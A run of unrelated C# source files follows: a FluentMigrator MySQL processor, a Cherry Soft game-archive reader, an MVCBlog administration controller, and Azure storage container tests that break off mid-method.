subscription.RequestedMaxFrequency = "0.01"; break; } // client.subscribe(subscription); } } }
using FluentMigrator.Runner.Helpers; #region License // // Copyright (c) 2007-2009, Sean Chambers <schambers80@gmail.com> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #endregion using System; using System.Data; using FluentMigrator.Builders.Execute; using FluentMigrator.Runner.Generators.MySql; namespace FluentMigrator.Runner.Processors.MySql { public class MySqlProcessor : GenericProcessorBase { readonly MySqlQuoter quoter = new MySqlQuoter(); public override string DatabaseType { get { return "MySql"; } } public MySqlProcessor(IDbConnection connection, IMigrationGenerator generator, IAnnouncer announcer, IMigrationProcessorOptions options, IDbFactory factory) : base(connection, factory, generator, announcer, options) { } public override bool SchemaExists(string schemaName) { return true; } public override bool TableExists(string schemaName, string tableName) { return Exists(@"select table_name from information_schema.tables where table_schema = SCHEMA() and table_name='{0}'", FormatHelper.FormatSqlEscape(tableName)); } public override bool ColumnExists(string schemaName, string tableName, string columnName) { const string sql = @"select column_name from information_schema.columns where table_schema = SCHEMA() and table_name='{0}' and column_name='{1}'"; return Exists(sql, FormatHelper.FormatSqlEscape(tableName), FormatHelper.FormatSqlEscape(columnName)); } public override bool ConstraintExists(string schemaName, string tableName, string constraintName) { const string sql = @"select constraint_name from information_schema.table_constraints where table_schema = SCHEMA() and table_name='{0}' and constraint_name='{1}'"; return Exists(sql, FormatHelper.FormatSqlEscape(tableName), FormatHelper.FormatSqlEscape(constraintName)); } public override bool IndexExists(string schemaName, string tableName, string indexName) { const string sql = @"select index_name from information_schema.statistics where table_schema = SCHEMA() and table_name='{0}' and index_name='{1}'"; return Exists(sql, FormatHelper.FormatSqlEscape(tableName), FormatHelper.FormatSqlEscape(indexName)); } public override bool SequenceExists(string schemaName, string sequenceName) { return false; } public override bool DefaultValueExists(string schemaName, string tableName, string columnName, object defaultValue) { string defaultValueAsString = string.Format("%{0}%", FormatHelper.FormatSqlEscape(defaultValue.ToString())); return Exists("SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = SCHEMA() AND TABLE_NAME = '{0}' AND COLUMN_NAME = '{1}' AND COLUMN_DEFAULT LIKE '{2}'", FormatHelper.FormatSqlEscape(tableName), FormatHelper.FormatSqlEscape(columnName), defaultValueAsString); } public override void Execute(string template, params object[] args) { if (Options.PreviewOnly) { return; } EnsureConnectionIsOpen(); using (var command = Factory.CreateCommand(String.Format(template, args), Connection)) { command.CommandTimeout = Options.Timeout; command.ExecuteNonQuery(); } } public override bool Exists(string template, params object[] args) { EnsureConnectionIsOpen(); using (var command = Factory.CreateCommand(String.Format(template, args), Connection)) { command.CommandTimeout = Options.Timeout; using (var reader = command.ExecuteReader()) { try { return reader.Read(); } catch { return false; } } } } public override DataSet ReadTableData(string schemaName, string tableName) { return Read("select * from {0}", quoter.QuoteTableName(tableName)); } public override DataSet Read(string template, params object[] args) { EnsureConnectionIsOpen(); var ds = new DataSet(); using (var command = Factory.CreateCommand(String.Format(template, args), Connection)) { command.CommandTimeout = Options.Timeout; var adapter = Factory.CreateDataAdapter(command); adapter.Fill(ds); return ds; } } protected override void Process(string sql) { Announcer.Sql(sql); if (Options.PreviewOnly || string.IsNullOrEmpty(sql)) return; EnsureConnectionIsOpen(); using (var command = Factory.CreateCommand(sql, Connection)) { command.CommandTimeout = Options.Timeout; command.ExecuteNonQuery(); } } public override void Process(PerformDBOperationExpression expression) { Announcer.Say("Performing DB Operation"); if (Options.PreviewOnly) return; EnsureConnectionIsOpen(); if (expression.Operation != null) expression.Operation(Connection, null); } public override void Process(Expressions.RenameColumnExpression expression) { string columnDefinitionSql = string.Format(@" SELECT CONCAT( CAST(COLUMN_TYPE AS CHAR), IF(ISNULL(CHARACTER_SET_NAME), '', CONCAT(' CHARACTER SET ', CHARACTER_SET_NAME)), IF(ISNULL(COLLATION_NAME), '', CONCAT(' COLLATE ', COLLATION_NAME)), ' ', IF(IS_NULLABLE = 'NO', 'NOT NULL ', ''), IF(IS_NULLABLE = 'NO' AND COLUMN_DEFAULT IS NULL, '', CONCAT('DEFAULT ', QUOTE(COLUMN_DEFAULT), ' ')), IF(COLUMN_COMMENT = '', '', CONCAT('COMMENT ', QUOTE(COLUMN_COMMENT), ' ')), UPPER(extra)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '{0}' AND COLUMN_NAME = '{1}'", FormatHelper.FormatSqlEscape(expression.TableName), FormatHelper.FormatSqlEscape(expression.OldName)); var columnDefinition = Read(columnDefinitionSql).Tables[0].Rows[0].Field<string>(0); Process(Generator.Generate(expression) + columnDefinition); } } }
//! \file ArcCherry.cs //! \date Wed Jun 24 21:22:56 2015 //! \brief Cherry Soft archives implementation. // // Copyright (C) 2015 by morkt // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to // deal in the Software without restriction, including without limitation the // rights to use, copy, modify, merge, publish, distribute, sublicense, and/or // sell copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING // FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS // IN THE SOFTWARE. // using System; using System.Collections.Generic; using System.ComponentModel.Composition; using System.IO; using System.Linq; using GameRes.Utility; using GameRes.Compression; namespace GameRes.Formats.Cherry { [Export(typeof(ArchiveFormat))] public class PakOpener : ArchiveFormat { public override string Tag { get { return "PAK/CHERRY"; } } public override string Description { get { return "Cherry Soft PACK resource archive"; } } public override uint Signature { get { return 0; } } public override bool IsHierarchic { get { return false; } } public override bool CanCreate { get { return false; } } public PakOpener () { Extensions = new string[] { "pak" }; } public override ArcFile TryOpen (ArcView file) { int count = file.View.ReadInt32 (0); if (!IsSaneCount (count)) return null; long base_offset = file.View.ReadUInt32 (4); if (base_offset >= file.MaxOffset || base_offset != (8 + count*0x18)) return null; var dir = ReadIndex (file, 8, count, base_offset, file); return dir != null ? new ArcFile (file, this, dir) : null; } protected List<Entry> ReadIndex (ArcView index, int index_offset, int count, long base_offset, ArcView file) { uint index_size = (uint)count * 0x18u; if (index_size > index.View.Reserve (index_offset, index_size)) return null; string arc_name = Path.GetFileNameWithoutExtension (file.Name); bool is_grp = arc_name.EndsWith ("GRP", StringComparison.InvariantCultureIgnoreCase); var dir = new List<Entry> (count); for (int i = 0; i < count; ++i) { string name = index.View.ReadString (index_offset, 0x10); if (0 == name.Length) return null; var offset = base_offset + index.View.ReadUInt32 (index_offset+0x10); Entry entry; if (is_grp) { entry = new Entry { Name = Path.ChangeExtension (name, "grp"), Type = "image", Offset = offset }; } else { entry = AutoEntry.Create (file, offset, name); } entry.Size = index.View.ReadUInt32 (index_offset+0x14); if (!entry.CheckPlacement (file.MaxOffset)) return null; dir.Add (entry); index_offset += 0x18; } return dir; } public override Stream OpenEntry (ArcFile arc, Entry entry) { if (!arc.File.View.AsciiEqual (entry.Offset, "GsWIN SC File")) return arc.File.CreateStream (entry.Offset, entry.Size); var text_offset = 0x68 + arc.File.View.ReadUInt32 (entry.Offset+0x5C); var text_size = arc.File.View.ReadUInt32 (entry.Offset+0x60); if (0 == text_size || text_offset+text_size > entry.Size) return arc.File.CreateStream (entry.Offset, entry.Size); var data = new byte[entry.Size]; arc.File.View.Read (entry.Offset, data, 0, entry.Size); for (uint i = 0; i < text_size; ++i) { data[text_offset+i] ^= (byte)i; } return new MemoryStream (data); } } internal class CherryPak : ArcFile { public CherryPak (ArcView arc, ArchiveFormat impl, ICollection<Entry> dir) : base (arc, impl, dir) { } } [Export(typeof(ArchiveFormat))] public class Pak2Opener : PakOpener { public override string Tag { get { return "PAK/CHERRY2"; } } public override string Description { get { return "Cherry Soft PACK resource archive v2"; } } public override uint Signature { get { return 0x52454843; } } // 'CHER' public override bool IsHierarchic { get { return false; } } public override bool CanCreate { get { return false; } } public Pak2Opener () { Extensions = new string[] { "pak" }; } public override ArcFile TryOpen (ArcView file) { if (!file.View.AsciiEqual (0, "CHERRY PACK 2.0\0") && !file.View.AsciiEqual (0, "CHERRY PACK 3.0\0")) return null; int version = file.View.ReadByte (0xC) - '0'; bool is_compressed = file.View.ReadInt32 (0x10) != 0; int count = file.View.ReadInt32 (0x14); long base_offset = file.View.ReadUInt32 (0x18); bool is_encrypted = false; int min_offset = 0x1C + count * 0x18; while (!IsSaneCount (count) || base_offset >= file.MaxOffset || (2 == version && !is_compressed && base_offset != min_offset)) { if (is_encrypted) return null; // these keys seem to be constant across different games count ^= unchecked((int)0xBC138744); base_offset ^= 0x64E0BA23; is_encrypted = true; } List<Entry> dir; if (is_compressed) { var packed = file.View.ReadBytes (0x1C, (uint)base_offset-0x1C); Decrypt (packed, 0, packed.Length); using (var mem = new MemoryStream (packed)) using (var lzss = new LzssStream (mem)) using (var index = new ArcView (lzss, file.Name, (uint)count * 0x18)) dir = ReadIndex (index, 0, count, base_offset, file); } else { dir = ReadIndex (file, 0x1C, count, base_offset, file); } if (null == dir) return null; if (is_encrypted && is_compressed) return new CherryPak (file, this, dir); else return new ArcFile (file, this, dir); } void Decrypt (byte[] data, int index, int length) // Exile ~Blood Royal 2~ { for (int i = 0; i+1 < length; i += 2) { byte lo = (byte)(data[index+i ] ^ 0x33); byte hi = (byte)(data[index+i+1] ^ 0xCC); data[index+i ] = hi; data[index+i+1] = lo; } } public override Stream OpenEntry (ArcFile arc, Entry entry) { if (!(arc is CherryPak) || entry.Size < 0x18) return base.OpenEntry (arc, entry); var data = arc.File.View.ReadBytes (entry.Offset, entry.Size); if (data.Length >= 0x18) { unsafe { fixed (byte* raw = data) { uint* raw32 = (uint*)raw; raw32[0] ^= 0xA53CC35Au; // FIXME: Exile-specific? raw32[1] ^= 0x35421005u; raw32[4] ^= 0xCF42355Du; } } Decrypt (data, 0x18, (int)(data.Length - 0x18)); } return new MemoryStream (data); } } }
using System; using System.Data.Entity; using System.Linq; using System.Threading.Tasks; using System.Web; using System.Web.Mvc; using MVCBlog.Core.Commands; using MVCBlog.Core.Database; using MVCBlog.Core.Entities; using MVCBlog.Website.Models.OutputModels.Administration; namespace MVCBlog.Website.Controllers { /// <summary> /// Controller for the administration tasks. /// </summary> [Authorize] public partial class AdministrationController : Controller { /// <summary> /// The repository. /// </summary> private readonly IRepository repository; /// <summary> /// The add blog entry command handler. /// </summary> private readonly ICommandHandler<AddBlogEntryCommand> addBlogEntryCommandHandler; /// <summary> /// The update blog entry command handler. /// </summary> private readonly ICommandHandler<UpdateBlogEntryCommand> updateBlogEntryCommandHandler; /// <summary> /// The add image command handler. /// </summary> private readonly ICommandHandler<AddImageCommand> addImageCommandHandler; /// <summary> /// The add or update blog entry file command handler. /// </summary> private readonly ICommandHandler<AddOrUpdateBlogEntryFileCommand> addOrUpdateBlogEntryFileCommandHandler; /// <summary> /// The delete blog entry file command handler. /// </summary> private readonly ICommandHandler<DeleteBlogEntryFileCommand> deleteBlogEntryFileCommandHandler; /// <summary> /// Initializes a new instance of the <see cref="AdministrationController" /> class. /// </summary> /// <param name="repository">The repository.</param> /// <param name="addOrUpdateBlogEntryCommandHandler">The add or update blog entry command handler.</param> /// <param name="addImageCommandHandler">The add image command handler.</param> /// <param name="addOrUpdateBlogEntryFileCommandHandler">The add or update blog entry file command handler.</param> /// <param name="deleteBlogEntryFileCommandHandler">The delete blog entry file command handler.</param> public AdministrationController( IRepository repository, ICommandHandler<AddBlogEntryCommand> addBlogEntryCommandHandler, ICommandHandler<UpdateBlogEntryCommand> updateBlogEntryCommandHandler, ICommandHandler<AddImageCommand> addImageCommandHandler, ICommandHandler<AddOrUpdateBlogEntryFileCommand> addOrUpdateBlogEntryFileCommandHandler, ICommandHandler<DeleteBlogEntryFileCommand> deleteBlogEntryFileCommandHandler) { this.repository = repository; this.addBlogEntryCommandHandler = addBlogEntryCommandHandler; this.updateBlogEntryCommandHandler = updateBlogEntryCommandHandler; this.addImageCommandHandler = addImageCommandHandler; this.addOrUpdateBlogEntryFileCommandHandler = addOrUpdateBlogEntryFileCommandHandler; this.deleteBlogEntryFileCommandHandler = deleteBlogEntryFileCommandHandler; } /// <summary> /// Shows an overview. /// </summary> /// <returns>View showing an overview.</returns> public virtual ActionResult Index() { return this.View(); } /// <summary> /// Shows all downloads. /// </summary> /// <returns>View showing all downloads.</returns> public async virtual Task<ActionResult> Statistics() { var minDate = DateTime.Now.Subtract(new TimeSpan(60, 0, 0, 0)); var feedStatistics = await this.repository.FeedStatistics .AsNoTracking() .OrderBy(f => f.Application) .ToArrayAsync(); var model = new MVCBlog.Website.Models.OutputModels.Administration.Downloads() { BlogEntries = await this.repository.BlogEntries .Include(b => b.BlogEntryFiles) .AsNoTracking() .OrderByDescending(f => f.PublishDate) .ToArrayAsync(), FeedStatistics = feedStatistics .GroupBy(f => f.Created.Date) .OrderBy(f => f.Key) }; return this.View(model); } /// <summary> /// Show a single <see cref="BlogEntry"/> for editing. /// </summary> /// <param name="id">The Id of the <see cref="BlogEntry"/>.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> public async virtual Task<ActionResult> EditBlogEntry(Guid? id) { var blogEntry = id.HasValue ? await this.repository.BlogEntries .Include(b => b.Tags) .Include(b => b.BlogEntryFiles) .AsNoTracking() .SingleAsync(b => b.Id == id.Value) : new BlogEntry() { PublishDate = new DateTime(DateTime.Now.Year, DateTime.Now.Month, DateTime.Now.Day, DateTime.Now.Hour, 0, 0) }; var model = new EditBlogEntry() { BlogEntry = blogEntry, Tags = await this.repository.Tags.AsNoTracking().OrderBy(t => t.Name).ToArrayAsync(), Images = await this.repository.Images.AsNoTracking().OrderByDescending(t => t.Created).ToArrayAsync(), IsUpdate = id.HasValue }; return this.View(model); } /// <summary> /// Saves the changes applied to the <see cref="BlogEntry"/>. /// </summary> /// <param name="id">The Id of the <see cref="BlogEntry"/>.</param> /// <param name="blogEntry">The <see cref="BlogEntry"/>.</param> /// <param name="formValues">The form values.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> [HttpPost] [ValidateInput(false)] public async virtual Task<ActionResult> EditBlogEntry(Guid? id, [Bind(Include = "Header, Author, ShortContent, Content, Visible")]BlogEntry blogEntry, FormCollection formValues) { if (!this.ModelState.IsValid) { return this.View(new EditBlogEntry() { BlogEntry = blogEntry, Tags = await this.repository.Tags.AsNoTracking().OrderBy(t => t.Name).ToArrayAsync(), Images = await this.repository.Images.AsNoTracking().OrderByDescending(t => t.Created).ToArrayAsync(), IsUpdate = id.HasValue }); } if (id.HasValue) { var existingBlogEntry = await this.repository.BlogEntries .Include(b => b.Tags) .SingleAsync(b => b.Id == id.Value); existingBlogEntry.Header = blogEntry.Header; existingBlogEntry.Author = blogEntry.Author; existingBlogEntry.ShortContent = blogEntry.ShortContent; existingBlogEntry.Content = blogEntry.Content; existingBlogEntry.PublishDate = blogEntry.PublishDate; existingBlogEntry.Visible = blogEntry.Visible; blogEntry = existingBlogEntry; } blogEntry.PublishDate = DateTime.Parse(formValues["PublishDate"]); var tags = formValues.AllKeys.Where(k => k.StartsWith("Tag") && !string.IsNullOrEmpty(formValues[k])).Select(k => formValues[k]); if (id.HasValue) { await this.updateBlogEntryCommandHandler.HandleAsync(new UpdateBlogEntryCommand() { Entity = blogEntry, Tags = tags }); } else { await this.addBlogEntryCommandHandler.HandleAsync(new AddBlogEntryCommand() { Entity = blogEntry, Tags = tags }); } return this.RedirectToAction(MVC.Administration.EditBlogEntry(blogEntry.Id).Result); } /// <summary> /// Performs all pingback requests. All URLs mentioned in the BlogPost are notified. /// </summary> /// <param name="id">The Id of the <see cref="BlogEntry"/>.</param> /// <returns>A view showing the results of the pingback requests.</returns> [HttpPost] public async virtual Task<ActionResult> PerformPingbacks(Guid id) { var blogEntry = await this.repository.BlogEntries .SingleAsync(b => b.Id == id); var pingbackResults = Palmmedia.Common.Net.PingBack.PingBackService.PerformPingBack( this.Request.Url.GetLeftPart(UriPartial.Authority) + Url.Action(blogEntry.Url, MVC.Blog.Name), blogEntry.Content); return this.View(MVC.Administration.Views.Pingback, pingbackResults); } /// <summary> /// Adds a file to a <see cref="BlogEntry"/>. /// </summary> /// <param name="id">The Id of the <see cref="BlogEntry"/>.</param> /// <param name="file">The uploaded file.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> [HttpPost] public async virtual Task<ActionResult> FileUpload(Guid id, HttpPostedFileBase file) { if (file != null && file.ContentLength > 0) { var content = new byte[file.ContentLength]; file.InputStream.Read(content, 0, file.ContentLength); await this.addOrUpdateBlogEntryFileCommandHandler.HandleAsync(new AddOrUpdateBlogEntryFileCommand() { BlogEntryId = id, FileName = file.FileName, Data = content }); } return this.RedirectToAction(MVC.Administration.EditBlogEntry(id).Result); } /// <summary> /// Files the delete. /// </summary> /// <param name="id">The file id.</param> /// <returns>A view showing a single <see cref="BlogEntry"/>.</returns> public async virtual Task<ActionResult> FileDelete(Guid id) { await this.deleteBlogEntryFileCommandHandler.HandleAsync(new DeleteBlogEntryFileCommand() { Id = id }); return this.RedirectToAction(MVC.Administration.EditBlogEntry(id).Result); } /// <summary> /// Shows all <see cref="MVCBlog.Core.Entities.Image">Images</see>. /// </summary> /// <returns>A view showing all <see cref="MVCBlog.Core.Entities.Image">Images</see>.</returns> public async virtual Task<ActionResult> Images() { var images = await this.repository.Images .AsNoTracking() .OrderByDescending(t => t.Created) .ToArrayAsync(); return this.View(images); } /// <summary> /// Upload an image /// </summary> /// <param name="file">The uploaded file.</param> /// <returns>A view showing all <see cref="MVCBlog.Core.Entities.Image">Images</see>.</returns> [HttpPost] public async virtual Task<ActionResult> ImageUpload(HttpPostedFileBase file) { if (file != null && file.ContentLength > 0) { var content = new byte[file.ContentLength]; file.InputStream.Read(content, 0, file.ContentLength); await this.addImageCommandHandler.HandleAsync(new AddImageCommand() { FileName = file.FileName, Data = content }); } return this.RedirectToAction(MVC.Administration.Images().Result); } } }
// ---------------------------------------------------------------------------------- // // Copyright Microsoft Corporation // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ---------------------------------------------------------------------------------- using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Diagnostics; using System.Linq; using System.Threading; using Commands.Storage.ScenarioTest.Common; using Commands.Storage.ScenarioTest.Util; using Microsoft.VisualStudio.TestTools.UnitTesting; using Microsoft.WindowsAzure.Storage; using Microsoft.WindowsAzure.Storage.Blob; using MS.Test.Common.MsTestLib; using StorageTestLib; namespace Commands.Storage.ScenarioTest { /// <summary> /// this class contains all the functional test cases for PowerShell container cmdlets /// </summary> [TestClass] class CLIContainerFunc { private static CloudBlobHelper BlobHelper; private static CloudStorageAccount StorageAccount; private TestContext testContextInstance; /// <summary> ///Gets or sets the test context which provides ///information about and functionality for the current test run. ///</summary> public TestContext TestContext { get { return testContextInstance; } set { testContextInstance = value; } } #region Additional test attributes // //You can use the following additional attributes as you write your tests: // //Use ClassInitialize to run code before running the first test in the class [ClassInitialize()] public static void MyClassInitialize(TestContext testContext) { Trace.WriteLine("ClassInit"); Test.FullClassName = testContext.FullyQualifiedTestClassName; StorageAccount = TestBase.GetCloudStorageAccountFromConfig(); //init the blob helper for blob related operations BlobHelper = new CloudBlobHelper(StorageAccount); // import module string moduleFilePath = Test.Data.Get("ModuleFilePath"); if (moduleFilePath.Length > 0) PowerShellAgent.ImportModule(moduleFilePath); // $context = New-AzureStorageContext -ConnectionString ... PowerShellAgent.SetStorageContext(StorageAccount.ToString(true)); } // //Use ClassCleanup to run code after all tests in a class have run [ClassCleanup()] public static void MyClassCleanup() { Trace.WriteLine("ClasssCleanup"); } //Use TestInitialize to run code before running each test [TestInitialize()] public void MyTestInitialize() { Trace.WriteLine("TestInit"); Test.Start(TestContext.FullyQualifiedTestClassName, TestContext.TestName); } //Use TestCleanup to run code after each test has run [TestCleanup()] public void MyTestCleanup() { Trace.WriteLine("TestCleanup"); // do not clean up the blobs here for investigation // every test case should do cleanup in its init Test.End(TestContext.FullyQualifiedTestClassName, TestContext.TestName); } #endregion [TestMethod] [TestCategory(Tag.Function)] public void CreateInvalidContainer() { CreateInvalidContainer(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void CreateExistingContainer() { CreateExistingContainer(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void RootContainerOperations() { RootContainerOperations(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void ContainerListOperations() { ContainerListOperations(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void GetNonExistingContainer() { GetNonExistingContainer(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void EnumerateAllContainers() { EnumerateAllContainers(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void RemoveNonExistingContainer() { RemoveNonExistingContainer(new PowerShellAgent()); } [TestMethod] [TestCategory(Tag.Function)] public void RemoveContainerWithoutForce() { RemoveContainerWithoutForce(new PowerShellAgent()); } /// <summary> /// Functional Cases : for New-AzureStorageContainer /// 1. Create a list of new blob containers (Positive 2) /// 2. Create a list of containers that some of them already exist (Negative 4) /// /// Functional Cases : for Get-AzureStorageContainer /// 3. Get a list of blob containers by using wildcards in the name (Positive 2) /// /// Functional Cases : for Remove-AzureStorageContainer /// 4. Remove a list of existing blob containers by using pipeline (Positive 6) /// </summary> internal void ContainerListOperations(Agent agent) { string PREFIX = Utility.GenNameString("uniqueprefix-") + "-"; string[] CONTAINER_NAMES = new string[] { Utility.GenNameString(PREFIX), Utility.GenNameString(PREFIX), Utility.GenNameString(PREFIX) }; // PART_EXISTING_NAMES differs only the last element with CONTAINER_NAMES string[] PARTLY_EXISTING_NAMES = new string[CONTAINER_NAMES.Length]; Array.Copy(CONTAINER_NAMES, PARTLY_EXISTING_NAMES, CONTAINER_NAMES.Length - 1); PARTLY_EXISTING_NAMES[CONTAINER_NAMES.Length - 1] = Utility.GenNameString(PREFIX); string[] MERGED_NAMES = CONTAINER_NAMES.Union(PARTLY_EXISTING_NAMES).ToArray(); Array.Sort(MERGED_NAMES); // Generate the comparison data Collection<Dictionary<string, object>> comp = new Collection<Dictionary<string, object>>(); foreach (string name in MERGED_NAMES) comp.Add(Utility.GenComparisonData(StorageObjectType.Container, name)); CloudBlobClient blobClient = StorageAccount.CreateCloudBlobClient(); // Check if all the above containers have been removed foreach (string name in MERGED_NAMES) { CloudBlobContainer container = blobClient.GetContainerReference(name); container.DeleteIfExists(); } //--------------1. New operation-------------- Test.Assert(agent.NewAzureStorageContainer(CONTAINER_NAMES), Utility.GenComparisonData("NewAzureStorageContainer", true)); // Verification for returned values Test.Assert(agent.Output.Count == CONTAINER_NAMES.Count(), "3 row returned : {0}", agent.Output.Count); // Check if all the above containers have been created foreach (string name in CONTAINER_NAMES) { CloudBlobContainer container = blobClient.GetContainerReference(name); Test.Assert(container.Exists(), "container {0} should exist", name); } try { //--------------2. New operation-------------- Test.Assert(!agent.NewAzureStorageContainer(CONTAINER_NAMES), Utility.GenComparisonData("NewAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "0 row returned : {0}", agent.Output.Count); int i = 0; foreach (string name in CONTAINER_NAMES) { Test.Assert(agent.ErrorMessages[i].Equals(String.Format("Container '{0}' already exists.", name)), agent.ErrorMessages[i]); ++i; } //--------------3. New operation-------------- Test.Assert(!agent.NewAzureStorageContainer(PARTLY_EXISTING_NAMES), Utility.GenComparisonData("NewAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 1, "1 row returned : {0}", agent.Output.Count); // Check if all the above containers have been created foreach (string name in CONTAINER_NAMES) { CloudBlobContainer container = blobClient.GetContainerReference(name); Test.Assert(container.Exists(), "container {0} should exist", name); } //--------------4. Get operation-------------- // use wildcards Test.Assert(agent.GetAzureStorageContainer("*" + PREFIX + "*"), Utility.GenComparisonData("GetAzureStorageContainer", true)); // Verification for returned values agent.OutputValidation(StorageAccount.CreateCloudBlobClient().ListContainers(PREFIX, ContainerListingDetails.All)); // use Prefix parameter Test.Assert(agent.GetAzureStorageContainerByPrefix(PREFIX), Utility.GenComparisonData("GetAzureStorageContainerByPrefix", true)); // Verification for returned values agent.OutputValidation(StorageAccount.CreateCloudBlobClient().ListContainers(PREFIX, ContainerListingDetails.All)); } finally { } //--------------5. Remove operation-------------- Test.Assert(agent.RemoveAzureStorageContainer(MERGED_NAMES), Utility.GenComparisonData("RemoveAzureStorageContainer", true)); // Check if all the above containers have been removed foreach (string name in CONTAINER_NAMES) { CloudBlobContainer container = blobClient.GetContainerReference(name); Test.Assert(!container.Exists(), "container {0} should not exist", name); } } /// <summary> /// Functional Cases: /// 1. Create the root container (New-AzureStorageContainer Positive 4) /// 2. Get the root container (Get-AzureStorageContainer Positive 4) /// 3. Remove the root container (Remove-AzureStorageContainer Positive 4) /// </summary> internal void RootContainerOperations(Agent agent) { const string ROOT_CONTAINER_NAME = "$root"; Dictionary<string, object> dic = Utility.GenComparisonData(StorageObjectType.Container, ROOT_CONTAINER_NAME); Collection<Dictionary<string, object>> comp = new Collection<Dictionary<string, object>> { dic }; // delete container if it not exists CloudBlobContainer container = StorageAccount.CreateCloudBlobClient().GetRootContainerReference(); bool bExists = container.Exists(); if (bExists) { container.Delete(); } try { //--------------New operation-------------- bool created = false; int retryCount = 0; int maxRetryCount = 60; //retry ten minutes do { if (retryCount > 0) { int sleepInterval = 10 * 1000; Test.Info("Sleep and wait for retry..."); Thread.Sleep(sleepInterval); Test.Info(string.Format("{0}th retry to create the $root container", retryCount)); } bool successed = agent.NewAzureStorageContainer(ROOT_CONTAINER_NAME); if (successed) { Test.Info("Create $root container successfully"); created = true; } else { if (agent.ErrorMessages.Count == 0) { Test.AssertFail("Can not create $root container and can't get any error messages"); break; } if (agent.ErrorMessages[0].StartsWith("The remote server returned an error: (409) Conflict.")) { retryCount++; } else { Test.AssertFail(string.Format("Can not create $root container. Exception: {0}", agent.ErrorMessages[0])); break; } } } while (!created && retryCount < maxRetryCount); if (!created && retryCount == maxRetryCount) { Test.AssertFail(string.Format("Can not create $root container after {0} times retry", retryCount)); } container.FetchAttributes(); CloudBlobUtil.PackContainerCompareData(container, dic); // Verification for returned values agent.OutputValidation(comp); Test.Assert(container.Exists(), "container {0} should exist!", ROOT_CONTAINER_NAME); //--------------Get operation-------------- Test.Assert(agent.GetAzureStorageContainer(ROOT_CONTAINER_NAME), Utility.GenComparisonData("GetAzureStorageContainer", true)); // Verification for returned values agent.OutputValidation(comp); //--------------Remove operation-------------- Test.Assert(agent.RemoveAzureStorageContainer(ROOT_CONTAINER_NAME), Utility.GenComparisonData("RemoveAzureStorageContainer", true)); Test.Assert(!container.Exists(), "container {0} should not exist!", ROOT_CONTAINER_NAME); } finally { // Recover the environment try { if (bExists) { Test.Info("Sleep for 150 seconds to wait for removing the root container"); System.Threading.Thread.Sleep(150000); //The following statement often throw an 409 conflict exception container.Create(); } } catch { } } } /// <summary> /// Negative Functional Cases : for New-AzureStorageContainer /// 1. Create a blob container that already exists (Negative 3) /// </summary> internal void CreateExistingContainer(Agent agent) { string CONTAINER_NAME = Utility.GenNameString("existing"); // create container if not exists CloudBlobContainer container = StorageAccount.CreateCloudBlobClient().GetContainerReference(CONTAINER_NAME); container.CreateIfNotExists(); try { //--------------New operation-------------- Test.Assert(!agent.NewAzureStorageContainer(CONTAINER_NAME), Utility.GenComparisonData("NewAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "Only 0 row returned : {0}", agent.Output.Count); Test.Assert(agent.ErrorMessages[0].Equals(String.Format("Container '{0}' already exists.", CONTAINER_NAME)), agent.ErrorMessages[0]); } finally { // Recover the environment container.DeleteIfExists(); } } /// <summary> /// Negative Functional Cases : for New-AzureStorageContainer /// 1. Create a new blob containter with an invalid blob container name (Negative 1) /// </summary> internal void CreateInvalidContainer(Agent agent) { string containerName = Utility.GenNameString("abc_"); //--------------New operation-------------- Test.Assert(!agent.NewAzureStorageContainer(containerName), Utility.GenComparisonData("NewAzureStorageContainer", false)); // Verification for returned values Test.Assert(agent.Output.Count == 0, "Only 0 row returned : {0}", agent.Output.Count); Test.Assert(agent.ErrorMessages[0].StartsWith(String.Format("Container name '{0}' is invalid.", containerName)), agent.ErrorMessages[0]); } /// <summary> /// Negative Functional Cases : for Get-AzureStorageContainer /// 1. Get a non-existing blob container (Negative 1) /// </summary> internal void GetNonExistingContainer(Agent agent) { string CONTAINER_NAME = Utility.GenNameString("nonexisting"); // Delete the container if it exists CloudBlobClient blobClient = StorageAccount.CreateCloudBlobClient(); CloudBlobContainer container = blobClient.GetContainerReference(CONTAINER_NAME); container.DeleteIfExists(); 